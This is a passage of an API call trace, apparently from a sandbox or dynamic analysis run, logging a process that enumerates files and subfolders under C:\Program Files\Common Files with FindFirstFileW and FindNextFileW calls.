lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e81ca8 [0286.764] FindNextFileW (in: hFindFile=0x3e81ca8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.765] FindNextFileW (in: hFindFile=0x3e81ca8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8127e00, ftCreationTime.dwHighDateTime=0x1cbd076, ftLastAccessTime.dwLowDateTime=0xcd0a4098, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd8127e00, ftLastWriteTime.dwHighDateTime=0x1cbd076, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0286.765] FindNextFileW (in: hFindFile=0x3e81ca8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0286.765] FindNextFileW (in: hFindFile=0x3e81ca8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0286.765] FindClose (in: hFindFile=0x3e81ca8 | out: hFindFile=0x3e81ca8) returned 1 [0286.765] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.765] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0286.765] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e81fe8 [0286.765] FindNextFileW (in: hFindFile=0x3e81fe8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.765] FindNextFileW (in: hFindFile=0x3e81fe8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0286.766] FindNextFileW (in: hFindFile=0x3e81fe8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0286.766] FindClose (in: hFindFile=0x3e81fe8 | out: hFindFile=0x3e81fe8) returned 1 [0286.766] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.766] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0286.766] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e81ba8 [0286.766] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.766] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0286.766] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3e81928 [0286.766] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0286.767] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0286.767] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x35bee10 | out: lpFindFileData=0x35bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e81f28 [0286.767] FindNextFileW (in: hFindFile=0x3e81f28, lpFindFileData=0x35bee10 | out: lpFindFileData=0x35bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.767] FindNextFileW (in: hFindFile=0x3e81f28, lpFindFileData=0x35bee10 | out: lpFindFileData=0x35bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6d7a0a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x30a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0286.767] FindNextFileW (in: hFindFile=0x3e81f28, lpFindFileData=0x35bee10 | out: lpFindFileData=0x35bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0286.767] FindNextFileW (in: hFindFile=0x3e81f28, lpFindFileData=0x35bee10 | out: lpFindFileData=0x35bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0286.767] FindClose (in: hFindFile=0x3e81f28 | out: hFindFile=0x3e81f28) returned 1 [0286.768] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ef20b0 | out: hHeap=0x730000) returned 1 [0286.768] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0286.768] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x59a70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0286.768] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0286.768] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0286.768] FindClose (in: hFindFile=0x3e81928 | out: hFindFile=0x3e81928) returned 1 [0286.768] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.768] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0286.769] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x4298, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0286.769] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0286.769] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0286.769] FindClose (in: hFindFile=0x3e81ba8 | out: hFindFile=0x3e81ba8) returned 1 [0286.769] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.770] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0 [0286.770] FindClose (in: hFindFile=0x3e81e68 | out: hFindFile=0x3e81e68) returned 1 [0286.771] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0286.771] FindNextFileW (in: hFindFile=0x3e818a8, lpFindFileData=0x35bf800 | out: lpFindFileData=0x35bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0286.771] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3e81968 [0286.771] FindNextFileW (in: hFindFile=0x3e81968, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0286.771] FindNextFileW (in: hFindFile=0x3e81968, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0286.772] FindNextFileW (in: hFindFile=0x3e81968, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0286.772] FindClose (in: hFindFile=0x3e81968 | out: hFindFile=0x3e81968) returned 1 [0286.772] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0286.772] FindNextFileW (in: hFindFile=0x3e818a8, lpFindFileData=0x35bf800 | out: lpFindFileData=0x35bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0286.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3e81ba8 [0286.772] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0286.772] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ado", cAlternateFileName="")) returned 1 [0286.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e81be8 [0286.772] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.772] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a0c6a1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x52a0c6a1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x52a0c6a1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0286.773] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, 